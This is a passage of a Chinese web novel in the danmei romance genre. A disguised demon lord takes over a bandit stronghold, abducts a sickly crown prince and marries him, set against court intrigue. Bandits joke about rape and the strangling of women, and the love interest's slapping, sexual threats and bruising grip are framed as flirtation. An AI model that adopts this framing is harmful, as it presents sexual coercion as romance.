皇帝交代了月轻盈一些招安的技巧后,便让他退下。 月轻盈出了璟泰殿,王公公就迎了上来,满脸急切,问话犹犹豫豫。 “太子殿下,招安一事?” “孤应下了。” 月轻盈拔步离开,王公公一顿,亦步亦趋跟着。 “那您那咳嗽重病的招使上了吗?” “使了,但父皇心意已决。” 这就是没有商量的余地了。 王公公啜泣一声,忍不住老泪纵横,周边都是自己人,情不自禁道。 “皇上怎么能这么对您呐,您体弱多病,南江那粗陋脏乱的环境您怎么受得了啊您还要与那胡搅蛮缠心思歹毒的悍匪纠缠,几次三番您的身体哪能吃得消啊……老奴……老奴真是担心您去了就回不来了啊!” 王公公长相喜感,胖乎乎的圆脸,小眼睛,哭起来就只剩下条缝了。 月轻盈噗嗤笑了出来,但见他哭的煞有其事,忍不住皱起眉头。 “我还没死,你倒是哭起丧来了?” 嘎…… 王公公吓的立刻止住声,惊吓过度,这之后的一路不停的打嗝。 之后月轻盈带着王公公花了三日的时间,收拾好包袱,收编好队伍一行人浩浩荡荡的出发了。 这三日,他每次醒来开窗,都会收到有意思的礼物。 今日是一捧毛茸茸的灰白色毛毛。 昨日是一尾鱼。 前些日子是一枚不知生物的鳞片。 沈砚台一路都在关注他。 偏执的想要让他想起他,便用别云间里的东西拿来送他。 见他们这么忌惮南江一带的悍匪,便留下分.身守护月轻盈,本体去了南江。 南江一带很是酷热,大地被烤炙的皲裂。 荒烟焦土,方圆千里不见人家,更是寸草不生,一趟下来,不死也得脱层皮。 穿过几个陡峭的小山坡,他才见到绿色的植被,再后面便是一处占地面积很大的寨子。 他举目注视,听着风里带来的信息,捕捉到总瓢把子这四个字,立刻动身上前。 寨子名叫催命寨。 人口多达千人,女人很少,多是年纪四五十岁的妇女,脸被晒得黢黑,人倒是圆胖肥硕,看起来油水很足,却没有几分美色可言。 男人们则是在打造兵器,喂养马匹,还有的在扩建寨子,从马车上卸着不知从哪里抢夺来的货物。 看他们孔武有力的身躯和结实的臂膀,这些人都是有功夫根底的练家子。 倒是很有本钱,配的上悍匪二字。 不过下界生物在他看来就跟蚂蚁一样,他漠视这些人,转头去寻那总瓢把子。 这人若是难缠,他就把他杀了。 “嘿嘿,老大肯定在跟今天抢来的娘们打的火热!” “老子隔老远都听到那娘们的叫喊声了。” “听到也没用,老大好是好,就是每次完事都会把那些娘们掐死。” “就是,留下来给咱们几个玩玩也是好的啊,真是旱的旱死,涝的涝死。” “不过说真的,今天抢来的女人,我不小心碰到了她的屁股,真是浑圆有肉啊……” 几个男的蹲在一起发出猥琐的笑声。 沈砚台眼里浮现玩味。 下界生物原来也是这么肮脏歹毒。 他闯进了那个名为总瓢把子的人的房间。 如那些男人所说,这里确实一黑一白两厢肤色的人在打滚。 他没什么好心,不打算救人,但在见这总瓢把子将人掐死后,反手将他也给杀了。 杀完人他就准备走,可转念一想,总瓢把子没了,这些人里肯定会推崇新的总瓢把子。 思来想去,他挥手将两人的尸体粉碎,自己扮成了总瓢把子。 “真有意思,我又要骗你一次了。”沈砚台的话语里皆是不怀好意。 吱呀一声门响。 在前院听墙角的几个男人,立刻循声望去,原本以为他们看见的是,总瓢把子裸着精壮的胸膛,扛着女人的尸体出现。 不曾想,他们看见的却是一穿着玄色衣服,身材高大,腰间配玉石的俊逸男人,脚步带风往外面走。 “这人……是咱们的总瓢把子吗?” “我怎么感觉,现在的总瓢把子和先前的不太一样。” “对对对,帅气了不少,威武了不少,这轩昂的气宇,实在太像总瓢把子战场杀敌时的凌厉气质了。” 几个男人看傻眼了,甚至想上前提醒一下,他们现在是悍匪,不是在军队。 然而不等他们出声,就见总瓢把子突然出现在他们面前。 明明是英俊的一张脸,此刻却写满了压抑的兴奋和势在必得。 “西南方有贵客,你们去给我劫来,我要轿子里的人当我的压寨夫人。” 几个男人:“???” 天理昭昭,月轻盈终究逃不出他的掌心。 第46章 第46章 偷去马背上 荒山小土坡。 两边埋伏了不少人马。 此时的月轻盈正坐在马车上吃糕点, 听着耳边王公公不厌其烦的碎碎念。 “太子殿下,这些悍匪太危险了,不如咱们来个狸猫换太子的计谋吧, 让人假扮您去招安。” 月轻盈慢条斯理抿了一口水, 骨节分明的细长指尖放下水杯, 摇摇头说:“咱们带了暗卫。” 见王公公还要话要说,月轻盈打住道:“你放心,要是我被抓了,我铁定丢下你们自己跑。” 王公公嘴巴张了张, 明明已经害怕的流泪了, 嘴巴却还是由衷的夸赞。 “太子殿下长大了,就该如此……就该如此!” 月轻盈又被逗的笑弯了眼, 伸手喂了一块糕点给抹泪的王公公吃。 就在两人商量如何招安时,马车外突然一阵动荡。 赶路的马夫的怒喝声, 马匹受惊的嘶吼声,身手矫健的暗卫出动和人对招的声音, 都昭示着他们遇难了。 月轻盈撩开一扇帘, 就见周围都是人, 他们被包围了,视线从这些人身上划过, 最后落在显眼的一处。 赤兔马高大威武,骑着他的男人气势更甚, 他像是局外人看戏般, 双手抱胸,脸上蒙着面具,只留出一双耐人寻味的笑眼,看的人心里莫名发慌。 一不小心和他对视上, 月轻盈就开始浑身发抖,血液迅速倒退,手脚冰凉,先是喘息接着剧烈咳嗽起来。 王公公见状,太子殿下受惊,不想他受累,立刻起身出了马车,大公公的雷霆手腕毕现。 “住手!” “想来你们便是最近盛传的英雄豪杰,车内的乃是凉国太子,此次前来是为商量招安一事,自己人,切莫动手,以免伤了和气。” 悍匪一帮人一听,太子,男的,立刻倒吸一口凉气,转头去看总瓢把子。 这这这……老大为了完成那位的宏图野心付出的有点多。 老大该不会是想…… 不是……老大明明说的是压寨夫人……这咋是个男的? 其中一个人想法太多,看了一眼自家老大肯定的眼神,嘴巴直接秃噜了。 “不伤和气也行,把你们的太子公主给我们家老大做压寨夫人,招安一事好商量!” 王公公一听,直接傻了,随即暴怒,气的脸红脖子粗,“你们……你们!” 他转头去找太子,见他趴在垫子上虚弱的样子,又呜呜呜直哭。 “太子殿下我们回去吧,狸猫换太子计谋真的挺好的。” 月轻盈闻言,抬眸看他,满脸的病气遮不住,眼底都是倦意,气若游丝道。 “你傻啊,嫁他就嫁他了,咱们先打入内部,如何招安再想对策,再者,我不信他会真的对我下手。” 见王公公脸上的不安,月轻盈笑着道:“你难道不想看他们在听到我们说同意时脸上露出的呆滞的一面吗,一定会很好笑。” 王公公欲哭无泪,“这都什么时候了,您还在开玩笑。” 月轻盈怎能不怕,强撑罢了,安慰王公公道:“你想啊,若孤堂堂太子死在这,即使父皇不想为孤报仇,也总得做点什么挽回皇室颜面,这些人定是没好下场的。” 被他连哄带骗,王公公被堵的无话可说,只连连点头,“老奴都听您的。” 此时,悍匪那帮人马已经是等的没了耐心,“你们商量好了没有,大老爷们的能不能快点?” 月轻盈看了一眼车外,让王公公扶着他起来去。 不多时,悍匪们就见着一身穿白衣,脸上带着病气,却唇红齿白的少年被人扶着从马车内走出来。 他身形修长清瘦,风吹过,身上还带着淡淡的香气,先前咳嗽他的额角还有点汗水,在太阳的照耀下,竟是成了点缀他容貌的光点。 “哪位是总瓢把子?”月轻盈声音如清冷玉石,视线在这些亡命之徒身上扫过,垂眸,轻笑道:“让我嫁人,总得让我也看看夫婿的样子才是。” 一干悍匪:!!! 他们怎么不知道凉过太子竟是这副冰肌玉骨姿态! 他身上清冷又柔和的气息,在这个炎热的夏季都带来了几缕清风! 他们老大是不是提前就知道,凉国太子长相绝佳了! 让他来做压寨夫人也不是不行! 最起码赏心悦目! 不等他们震撼完,忽然听到一阵马儿高昂嘶吼的声音。 举目看去,就见他们的老大,一拉缰绳,腿夹马肚,骑着马就朝那凉国太子冲过去了。 不好,老大这举动莫不是要杀人。 对,他们老大喜欢女人来的。 怔愣间,就见沙土飞扬,沈砚台一伸长臂,手腕一勾,就将没有防备的月轻盈给偷去了马背上。 月轻盈尚且反应不过来,其他人亦是。 身边忽然少个人,王公公立即发出惨叫,“救命,暗卫,暗卫!快去救太子!” 悍匪们见老大把人都掳走了,起哄着呦喝,给王公公留了个地图,便如潮水般褪去。 劲风吹打在脸上,头发飞扬,腿碰到马身上坚硬的毛,即使有衣服抵挡,月轻盈还是觉得自己大腿内侧的皮肤被磨破了。 他还有些惊魂未定,竟是抬手下意识的抱住了悍匪头子的腰。 他身上没有杀人越货的腥味,反倒是一股冷香,他的胸膛宽阔,足够容纳他的身躯。 躲在他怀里,打的脸很疼的风也好似消失了,月轻盈怔然了一瞬,发觉马儿奔跑的速度变慢了,起身,抬眸,看向男人的眼睛。 深邃,幽深,猜不透,还带了点探究? 月轻盈就是觉得他古怪,他刚想说话,没想到男人却是一把把他丢下马,他还没站稳之际,就见他也跟着跳了下来。 一道残影掠过,啪,一声脆响传出。 月轻盈僵硬住了。 感受着肉在颤抖,伴随着火辣辣的刺痛感,他不可置信的看着立在他身前对他动手了的人,抬手摸上了屁股。 “你在干什么?”月轻盈罕见的丢了冷静,颇有些咬牙切齿。 沈砚台眯眼,得逞的笑了,“你很像我逃跑的妻子,气不顺,揍你。” 月轻盈闭眼,冷静在逃离,愠怒道:“你不怕我跟你那逃跑的妻子一样,转头也跑了?” 沈砚台到还记得他的初衷:“不是来招安?你跑什么?” 月轻盈抿嘴,哽住,气的只能自我排解,他一手捶打胸口,一边剧烈咳嗽了起来。 仿若很久没见到能说话,有活力的月轻盈了。 沈砚台突然放声大笑了起来。 第47章 第47章 雪白的肌肤被他啃咬变红 来自胸腔的振动, 真情实意的笑声是骗不了人的,沈砚台诧异。 他居然因为月轻盈活着,有把柄在手里导致他被自己搓扁捏圆, 而感到愉悦。 哼, 月轻盈好会勾人, 就是会下蛊。 他眯眼,黑了脸,愠怒自己的情绪因月轻盈而牵动改变。 想起小河死前说的话,他冷笑, 爱于他来说就是多余, 救活月轻盈也只是应了小河的约定。 他是魔,心狠手辣, 冷心冷情,怎可对其他人心生情愫。 好, 那他就和月轻盈多相处相处,他一定要让小河看看, 他口中爱月轻盈的说辞全是错的。“回去了。” 他转身先上马, 周身放着冷气。 月轻盈茫然, 看着无故生气的总瓢把子,觉得这人多少有点阴晴不定。 他深吸一口气, 暗道只要在他考察后发现他的确可以招安,且能为凉国出力就不和他计较, 反之, 他一定要杀了他而后快。 打定主意,月轻盈准备上马,步子一跨屁股就疼,沈砚台那么大一坨人挡着又碍事, 折腾几次,还是没上去马背。 他仰起脸,细长的眉眼盯着沈砚台,希望他能自觉点让开位置。 察觉到一股灼热的视线,沈砚台低头,就见月轻盈乌黑的眼瞳水润润,嫩生生一张脸,恃美行凶。 他拧眉,“上不来不会说?撒什么娇?” 月轻盈要呕死了! 他什么时候撒娇了! 等等,这也不失为一个出路。 他立刻捂着心口,眉头蹙起,断断续续咳嗽,脸色煞白,如柔弱的娇花。 “你帮帮我呀,我上不来。” “小废物。” 沈砚台哼了一声,嘴上嫌弃,身体却很诚实的弯下,大掌勾住他的腰,将他往马背上带。 月轻盈怎可能让他好过,故意用力下沉,以为能把他重死,下一秒,他就起飞了。 等他回过神来,已经安稳的端坐在马背上了。 他是吃了什么东西,这么强壮有力,他好嫉妒。 他眼神幽怨的看着沈砚台。 沈砚台看得直乐。 以前他怎么没发现月轻盈还有这么好玩的一面? 后来转念一想,在修真界时,他刚横扫完正道,就囚禁了他,后杀了他大徒弟,之后接连让他遭遇不幸。 那么阴暗充满压迫悲伤的环境,月轻盈也 无从施展自己的性格。 他心不由地有些于心不忍。 “你叫什么名字?”柔软的嗓音响起,打断他的回忆。 见沈砚台看过来,月轻盈眼睛眨了几下,“我不知道你的名字,我们都称呼你为总瓢把子。” 沈砚台张唇,有些坏心眼的想故技重施,说自己是石墨,到最后不知怎地变卦,声音沉稳有力,“我叫……沈砚台。” “砚台?”月轻盈瞪圆了眼睛,随即笑开,可以看见糯米白的门齿。 “砚台是磨墨的砚台?” 沈砚台挑眉,无意间流露出一丝张狂,“不好听吗?” “砚台……好听的。”月轻盈笑眯了眼,“你父母是希望你能和文墨打交道,想你未来能当官的吧?” 当官? 魔尊的话算是管当官的。 沈砚台点头,煞有其事道:“你看我现在勉强也能算个官不是?” 见他自己把话引出来,月轻盈趁热打铁:“你这顶多算自封的官,不如你接受招安,凉国可以允你一官半职。” “小心思都在脸上了,太子公主,别太明显了。” 月轻盈不满:“太子公主是什么?” “身为男儿,却为了劝我接手招安,身份贵为太子愿意嫁我,不是太子公主是什么?” “太子就太子,加什么公主两个字,你在羞辱我吗?”月轻盈清澈里的眼睛里写满了自己不蠢。 “行吧,夫人。” “???”月轻盈气的磨牙,“你叫砚台真是叫对了,真会给人起称呼。” “反正你是自己愿意的嫁我,非得等到成亲了才能喊你一声夫人?” 月轻盈无语凝噎,最后干脆咳嗽遮掩,不想继续这个话题。 “这个送你。”沈砚台忽然递给月轻盈一截似刚取下来鲜嫩的树枝。 月轻盈拿着树枝 一头雾水:“这是什么?” “撼天树的枝头。” “这是什么树?” 沈砚台凝眸看他,见他什么都没想起来,看向别处道:“仙树。” “你骗人的吧?”月轻盈觉得他在搞迷信,神魔鬼怪他是不信的。 沈砚台不语。 两人共骑一马,速度倒是不慢,很快就到了催命寨。 先前打头的人先回来了,将老大带回来个太子当压寨夫人的事一阵宣扬。 月轻盈看着寨子前站着的一堆人,视线都聚焦在自己身上,令他很不舒服,便往沈砚台的身后藏了藏。 沈砚台扫了他一眼,往他身前一站,挡住那些打量窥探的视线,阴森一笑。 “再看就把你们眼睛挖了!” 人群一哄而散。 月轻盈看沈砚台的眼神变地重视了三分,没想到他凑出来的一群乌合之众,竟然对他如此臣服。 想必他是有几分铁血手腕的。 “你,打算藏到什么时候?”沈砚台转身,对着月轻盈挑三拣四,“马上就是压寨夫人了,要不要看看寨子?” “要!”月轻盈眼睛发量,现在正是打入敌人内部的好时机! 他还能趁机记下寨子路线图,若是他们招安不成,就将他们一举灭掉。 “招安不成,想把我们除掉?”月轻盈神情微变,看着沈砚台眼神警惕了起来。 “你当上总瓢把子还得会听心声吗?” “说了你的心思都写在脸上了,想什么呢。” 说的自己很会看人一样。 月轻盈嘟囔,“那你肯定是经常看我的脸。” 这下轮到沈砚台噎住了。 他上手拍拍月轻盈的屁股,浑圆饱满的手感让他很满意,笑眯眯地:“你的屁股替你受了伤,再惹我,我就把你扛到床上……干!” 本来他只是随口说,想吓吓他,可真的起了念头了,他又有些心神驰骋。 他打量月轻盈在人间的身体。 体弱,有病,好咳嗽,长的还是很好看,身量相似,身上有股淡淡药香,和莲花香气有点重合。 不过无碍,还是很好闻。 月轻盈在宫里长大,自然见过男欢女爱,但是真的没听别人这么露骨的说过。 他一时羞愤难当,当即卡住,你你你个半天不知道骂什么好。 最后撒气似的,用肩头撞沈砚台的肩膀,咬牙切齿,“下流!走开,别挡道!” 沈砚台被撞的后退了一步,看着他疾走的背影,捕捉到他雪白的耳垂变红,笑得身子一抖一抖的。 雪白的耳垂变红没什么好看的,他全身雪白的肌肤被他亲吻啃咬的变红,留下印记,才算勾人。 第48章 第48章节 第三次成亲 沈砚台只是想想, 那事也很累人。 视线从月轻盈的身上抽离,他继续逗弄:“太子既然来了我的催命寨,想来是真的要嫁给我了。” 月轻盈脚步一顿, 回头看着沈砚台目光不善。 沈砚台说:“既然如此, 明日我们便成亲?” “只要我和你成亲, 你就会接受招安,为我凉国效力?” “我说话算话。” “那就成吧。” 两人一拍即合,成亲的事很快确定下来,第二日, 催命寨里便到处都是喜色。 细算下来, 沈砚台和月轻盈已经是第三次成亲。 沈砚台对流程都熟门熟路了,但他看着穿着嫁衣的月轻盈, 心境却是不同。 洞房花烛夜。 沈砚台坐在床边,月轻盈坐在离他很远的凳子上, 一脸的戒备和不情愿,各种小心思翻腾。 沈砚台也不是性急的人, 讲究一个温水煮青蛙, 他没有碰月轻盈。 只是用他所知道的经历, 带着月轻盈疯玩,跋山涉水, 捕猎,铸造房子, 冶炼兵器……每一件都是月轻盈接触不到的新鲜玩意。 手下们看着近来总是成双成对出入的老大和新上任的压寨夫人, 脸色一天比一天难看。 这天,月轻盈被沈砚台拾掇着去河边钓鱼,沈砚台坐在议事厅内,坐在椅子上, 看着居高临下跪成一排的手下,若有所思。 “你们这是何故?”他问。 “老大,最近朝内局势动荡,君主只盼着我们能早日拿下凉国,你是否和凉国太子走得太近了?” 沈砚眉目深思,觉得不对。 “是啊老大,当初我们可是君主授命,假扮悍匪给凉国添乱,制造内乱,再加上凉国新上任的皇后挑起的夺皇位之争,立下誓言务必将凉国送到君主的手中。” 沈砚台拧眉,算是明白了。 原来这帮悍匪不是无故横空出世,而是另一国的计谋。 先是出现悍匪,造成凉国百姓恐慌,给皇家压力,加上不安分的新皇后的从中作梗,凉国就是他人的掌中之物。 而这个总瓢把子的身份,原来是一位执掌上万军马的青年将军。 这些手下本以为凉国太子的加入,会让凉国被收复的速度加快,可看老大的并没有这个意思,手底下人这才急了。 沈砚台也无奈了。 他怎么也没想到来到人间,找月轻盈的魂珠回修真界,居然还能碰上战乱这种事。 “你们的意思我知道了,且都先回去吧,我自有安排。” 众人你看看我,我看看你,脸上都有犹豫,到底没在劝阻,起身离开了。 几人离开后,在沈砚台看不见的位置,皆脸上露出不择手段的阴险。 很快,事情开始失控。 凉国城内,靠近边缘地带的住址,出现了几百号的死人。 凉国皇帝震怒,派人追查,回传的消息却是,这些百姓家里的钱财,家禽,贵重的东西都被人一扫而空。 甚至有谣言传出这都是催命寨的悍匪干的。 皇帝一听,龙颜大怒,“盈儿这些天都在做什么,不是让他去招安吗,怎地这些人越发变本加厉!” 得到消息的新皇后此时赶过来,闻言,她一副支支吾吾为难的表情。 皇帝见到她,怒气消散了不少,甚至关心起她的状态:“皇后怎地这个表情?” 新皇后唯唯诺诺道:“皇上,臣妾觉得这事定有蹊跷,盈儿已然是太子,断不可能因为有了悍匪的势里,就做出谋反的事。” 说完后,她脸色煞白,像是刚反应过来自己说了何等大逆不道的话。 她急忙补救:“皇上,你要相信太子,他肯定不会做这种事,是臣妾逾越了。” 皇帝脸色阴沉晦涩,皇后的话像是种子一样在他心里生根发芽。 他现年五十多岁了,太子已满二十,着急着想要权利,想要当皇帝这个可能也不是没有。 哼。 只是他刚给太子一个差事,太子就敢舒展开一直收拢起来的翅膀。 不过…… 太子也不是个傻的,区区几千人悍匪,和即将到手的兵符,有几十万人马是不同的。 太子盈应该不会这么冲动。 只是太子盈招安一事未处理好,又招惹来一事,到底是让皇上对太子盈的信任感降低,想要他效力的心思也减弱了很多。 见皇帝一言不发,脸色几经变换,新皇后乖顺的在旁边陪着,一句话也不敢多嘴。 她眼里闪着精光,却是知道,自己的计谋成功了。 皇帝开始怀疑太子盈,太子盈的势利将会迅速被瓦解攻破。 到时候凉国就握在她的手中了。 月轻盈自然也听到出事的消息,他第一个反应也是怀疑催命寨。 转眼他又迟疑了。 他最近就住在催命寨,像是大规模杀人的行动,必然要出动不少人,可是这寨子里的人每天都在他的眼皮子底下一览无遗。 那……对凉国出手的就只能是其他人了。 这些人是谁,他却毫无头绪。 第49章 第49章 你每天收到的礼物都是我送的…… 就在他一筹莫展的时候, 催命寨门口却是传来了骚动。 原来是王公公一干人马赶到。 月轻盈起身去接。 一路上担心受怕,憔悴了十岁的王公公,在看到安然无恙, 最近还有些长胖趋势的太子时, 在眼眶里打转的泪水猛地止住了。 “……” 王公公沉痛闭眼:“太子……最近控制点饮食吧……你这个年纪很容易发福……” 月轻盈:“……” 他伸手捏捏自己的脸颊, 鼓起来的小腹,眉头紧拢,暗道,今晚一定要拒绝沈砚台的喂食。 月轻盈现在是寨子里老大的夫人了, 不看僧面看佛面, 说话还是有几分重量。 安排人打扫了房子让王公公等人休憩,两人这才交换这些日子紧缺的消息。 王公公:“凉国出事了。” 月轻盈:“我和催命寨的总瓢把子成亲了。” 王公公:“……” 月轻盈:“……” 四目相对, 皆都重重叹气。 王公公抽噎,替他放愤愤不平:“我就知道太子在这个催命寨肯定会受委屈!这狗贼竟真逼的您下嫁于他。” 月轻盈干笑:“我嫁他, 他接受了招安。” 王公公:“这狗贼是不是还对太子生了非分之……嗯?” 看清楚王公公眼里来不及消化的震惊,月轻盈不打算开口解释了。 过了一会儿后, 王公公痛心疾首, 看着月轻盈的目光满是疼惜。 “太子殿下啊……您付出的真是太多了!” 月轻盈不好回答他。 他总不能告诉王公公, 自己在这里过的挺好的。 每日早起开窗就收到新鲜的礼物,沈砚台带他到处玩, 饿了就回来吃饭,困了就睡, 醒来了就去涨见识, 饿了再吃……如此反复。 他觉得自己有点堕落。 应该居安思危。 凉国此次出事,就是他太放任自己的后果。 “凉国如今情势如何?”自己的母国,月轻盈自然是无比担心。 “情势非常不好。”王公公精气神一下子像是耗尽了,“外有其它国惦记, 内有新皇后的废太子之乱,皇帝沉迷美色不关注国事,凉国将倾,很快就会成为别人的口中肉,腹中食。” 月轻盈头疼不已。 “既然沈砚台已被我招安,不如我们便借用他们的势力,查查最近针对凉国的都是些什么人。” 王公公满脸担心:“太子,这些悍匪值得信任吗?” 月轻盈嗫嚅,他心里也没有底。 只是他很会分析眼前的情况。 父皇被新皇后蛊惑,断然不会信他,更加不会放权给他,他背后的势力薄弱,凭他一己之力保护凉国简直就是痴人说梦。 就当是赌吧。 他想试试沈砚台。 沈砚台自然也得知了凉国内乱的事,他无心插手,他只是来找月轻盈的魂珠。 已经找到,他就负责让他想起他,带他回修真界,并不打算出手篡改人间王朝更迭,百姓生死。 就在他想着今天送什么给月轻盈的时候,房门被人毫不客气的推开了。 月轻盈一身寒霜走了进来,脸色是从未见过的认真,“沈砚台你说我嫁你,你就接受招安,那你和你寨子里的几千人都是我凉国的子民士兵对吗?” 沈砚台明悟了。 月轻盈现在没有想起来他的真实身份,真的以为他是人间凉国的太子。 母国出事,做为太子他自然不能袖手旁观。 他有些恍惚。 忽然就想起来了,那个被他囚禁被他折磨依旧心怀正道苍生的月轻盈。 “你想怎么做?”沈砚台看着月轻盈的眸光变得柔软了几分。 月轻盈没料到他这么痛快,一时间有些发愣,然后缓慢道:“我需要你的人查出祸乱凉国的人都是些什么人。” 沈砚台看着他,眸光幽深,有些拿不定主意,手指放在桌子上有节奏的敲击着。 最后,他眼里划过一道暗芒,收了手好整以暇思看他的反应,“不用费心,我知道那些人是谁。” 月轻盈上前追问:“是谁?” “是古国。” 古国是距离凉国最近的一个国家。 人口众多,贸易畅通,资源丰富,皇帝治国有道,是周边几个国家都很忌惮的大国。 先前就有传言,古国有想吞并了凉国的流言,不,不是流言,是凉国所有人都心知肚明的事。 大家一直都装糊涂,是因为深知他们不是古国的对手,一旦开战,凉国必灭。 古国就是悬在凉国人头上的一座断头台,只是不知道什么时候会落下。 现如今,看样子古国的皇帝等不及了。 沈砚台说的那么笃定,反而让月轻盈有些不适 “你怎么知道?你还在古国烧杀抢掠过?” 沈砚台摇头,眸光微沉,伸手指着自己,又指了指门外。 “我知道是因为,我们都是古国人,而我,是古国近来声名大噪的骁勇将军。” 骁勇将军,人如其名,有多骁勇,大概就是打败了多国,深入他国城池,逼的他国割地自保。 古国有如今雄厚的实力,多数都仰仗于这位骁勇将军。 传闻这位将军很是年轻,二十郎当岁,出落的英武不凡,且身手高强,力气都比别人大。 原来骁勇将军是这个样子。 原来他被蒙在鼓里骗了好久。 猝不及防,被迫接受到一条十足充满戏剧性的信息,月轻盈被震慑住了。 “你说什么?” 看清他眼里的受伤,被骗的愤怒,委屈,沈砚台闭眼,他就知道会这样。 “我说的都是真的。”他沉沉开口。 “你……一直都在骗我?戏耍我?还跟我成亲……?”月轻盈深吸一口气,眼圈泛红。 他心口酸涩,竟没想到,沈砚台对他的影响如此之深。 这些日子他对他好,果然都是在麻痹他,让他放下戒心,最后找准机会……往他胸口上狠狠插上致命的一刀! “你这么做,是在得知我是凉国太子后故意为之吗,为的就是欺辱我,打击我,让我一蹶不振,让我成为突破凉国的缺口,让凉国败,让我成为凉国的罪人!?” 月轻盈情绪激动,上前猛地揪住沈砚台的领口,双目赤红,有恨意在滋生。 “你的下一步是什么,把我抽筋扒骨挂在城墙上,用以展示给凉国百姓看,让他们心生惧意,见识到你古国的心狠手辣,从而达到你们不战而胜的目的?” “不是!”沈砚台目光落在月轻盈的身上,追寻他的表情变化。 “那是什么,说啊,你的下一步是什么!”月轻盈有些失控,气急下他的心脏一阵抽疼,顿时气不顺,剧烈咳嗽了起来。 见他将自己气成这样,沈砚台起身将他抱起来,让他坐在自己刚才坐过的椅子上。 给他端茶递水,给他拍背顺气,月轻盈咳嗽停不下来无暇顾及,等缓和了一点,立刻将沈砚台的手推开。 “别碰我!”满脸筋疲力尽,满眼厌恶悔恨。 这一幕,让沈砚台想起来月轻盈差点死在他怀里,他拧眉,心里有难言的顿痛。 “别气了,你听我把话说完。” “哼,还不就是要把我挂在城墙上!” “你为什么惦记城墙,你小时候被挂过?” “没有!” 见沈砚台眉头拧着,还真的有点唬人,月轻盈撇过头不去看他,“见别人挂过。” 沈砚台深吸一口气,忽然笑出声,他有时候的执拗有些可爱。 彼此都冷静下来后,沈砚台蹲在月轻盈的膝前,仰着脸,多了几分认真。 “我是古国的骁勇将军不错,可我现在也是你的夫君不是吗?” 月轻盈闭眼,不想听他怀柔政策式的发言。 “我帮你。” 月轻盈睁开眼,看着趴在他膝头,没了沉稳多了几丝柔软的沈砚台,有些迟疑。 “你帮我?” “帮你。”沈砚台点头。 他本不该插手人间的事,可是他还惦记着带月轻盈回修真界,告诉他,他肚子里的孩子是他的徒弟们的事。 自然也是为了教训他。 让他再也不敢不见他一面就逃到下界。 “你为什么帮我?” “大概是我厌烦了古国的贪心,不断的索取,导致这么多人失去了家园。” 月轻盈盯着他看了很久,沈砚台眼神清白和他对视了很久。 竟然没有谎言的痕迹。 “我凭什么相信你?” “这是个好问题。”沈砚台倏然笑开,周身冷滞的气息立刻回暖。 “凭我这么坦然的告诉你真相,凭我……。” “呵,花言巧语。”月轻盈不信,打断他的话。 沈砚台不受影响,缓慢道:“这些日子你每天收到的礼物都是我送的。” 月轻盈猛地低下头看他,眼神锐利。 沈砚台不惧,和他对视,柔声道:“柔软的毛毛是兔子毛,花是生天花,鱼是养在湖泊里的……鳞片比较复杂,但也是珍贵的东西……” 月轻盈恍惚,有些发晕。 这些东西,他从未与人说过,知晓之人也只有伺候在他左右的王公公宫女太监等人。 而他们与寨子里的人水火不容,看不过眼 更不会将这些传播出去。 所以…… 沈砚台说的都是真的。 “为什么送我这些?”月轻盈盯着他,声音喑哑了许多。 “想让你记得我。”沈砚台揉了揉他泛红的眼尾,明明动作温柔,言语却很锋利:“让你忘不了我!” 第50章 第50章 夫人裤子要不要换一下 为什么不想让自己忘了他? 月轻盈不解, 沈砚台眼里有着触目惊心的野心,他亦不敢直视。 刚才的咳嗽让他浑身无力,他薄薄红润的唇瓣抿成线, 无端心慌。 沈砚台在下, 但却是将他囚困起来的姿势, 不知为何,他觉得有些危险。 “我知道了,谢谢你告诉我真相。” 他手搭在桌沿,想借力起身离开, 沈砚台却是一把扣住了他的腿, 将他钉死在椅子上。 “不相信我?” 沈砚台拧眉,看着月轻盈闪躲的眼神, 拒绝他的靠近,哪里不晓得, 自己是被他怀疑了。 他就是不相信他! 他要气死了。 他身上起了一股暴戾的气息,月轻盈柔嫩的腿肉被他挤压的溢出了指缝中。 “疼……”月轻盈抬手推搡他, 小脸皱着, 眉眼间带着示弱, 他心慌,咳嗽了起来。 他柔软的手指就蜷缩在自己的颈项处, 指尖有些微凉,沈砚台下意识地滚动了一下喉结。 “疼你就记得长记性, 让你信我你就得信我!” 沈砚台蹙眉, 看他咳的眼底泛红浮现出一层水意,于心不忍,才稍稍往后撤。 手一松,刚才满掌心的肉感消退, 他敛目,看着月轻盈并在一起的大腿,被他弄皱显得暧昧的裤子,挑了一下眉。 “夫人,我刚才力气好像大了点,要不要我帮你查查有没有受伤?” 腿上还残留着沈砚台掌心的炙热,他用力时的刺痛,月轻盈满心发慌,得到空隙立刻起身逃脱。 “不……不用了!” 沈砚台危险,下次他不要来找他了! “夫人裤子要不要换一下?有碍观瞻。”沈砚台看着慌乱的背影,开口戏弄挽留。 月轻盈脚步顿住,看着好像是被人坐过揉过攥紧过很是混乱的裤子,他走的更加快了。 “裤子……挺好的,我……我好像听到王公公在喊我吃饭了……再会……” 沈砚台站在原地,听月轻盈脚步离去,听空气中回荡着他咳嗽的残留声,一道叹息溢出唇齿。 “这么害羞我很难办啊,又不能强上……” 月轻盈一路逃到离沈砚台很远的地方,他脸色涨红,不时咳嗽,手指紧紧攥着胸前的领口,他长长舒出一口气用以缓息。 半晌后,他目光坚定,去找了王公公。 王公公彼时正在盯人煮饭,他怕有人会趁机对太子下毒。 听到虚浮的脚步声,他脸上闪过惊喜,在看到疼爱的太子,一脸虚弱浑身凌乱,眼尾还带着暧昧的红色,心,啪的就碎了。 “太子……”王公公唇瓣颤抖,说不出话。 月轻盈有些犹豫:“王公公你且来一下,我有事和你商量。” 王公公脸色立刻慎重了起来,带着月轻盈回到了屋内。 月轻盈此时腿肉疼得厉害,便弯腰想找个地方坐,王公公见状眉头一跳,大事不好了。 太子他莫不是被悍匪头子给辱了? “王公公你先去帮我备一点跌打损伤的药。”疼的厉害,月轻盈想用药。 “太子,你该用去瘀活血的药。”王公公一脸心累,太子到底是未经人事,什么都不懂。 “是吗?”月轻盈迷茫过后便随着他来。 当王公公看到太子腿上那一大片雪白的肌肤上面,红肿深刻的指印,深深倒吸一口凉气。 这个悍匪头子,这么饥渴吗? 腿伤成了这样,那太子他…… “太子……你受累了!”王公公一边给月轻盈上药一边呜呜哭。 月轻盈楞了一瞬,瞬间反应过来,他黑着脸,张嘴想解释又吞了回去,干巴劝慰。 “你不要多想。” “我不多想,我就是爱发癔症。” 月轻盈:“……” 他无捂住脑袋,干脆放空自己,随即,转动眼珠,无神的看向王公公,没多少信心。 沈砚台说的话,他没有全信,但却给了他一个思路,他可以去调查古国那边的信息。 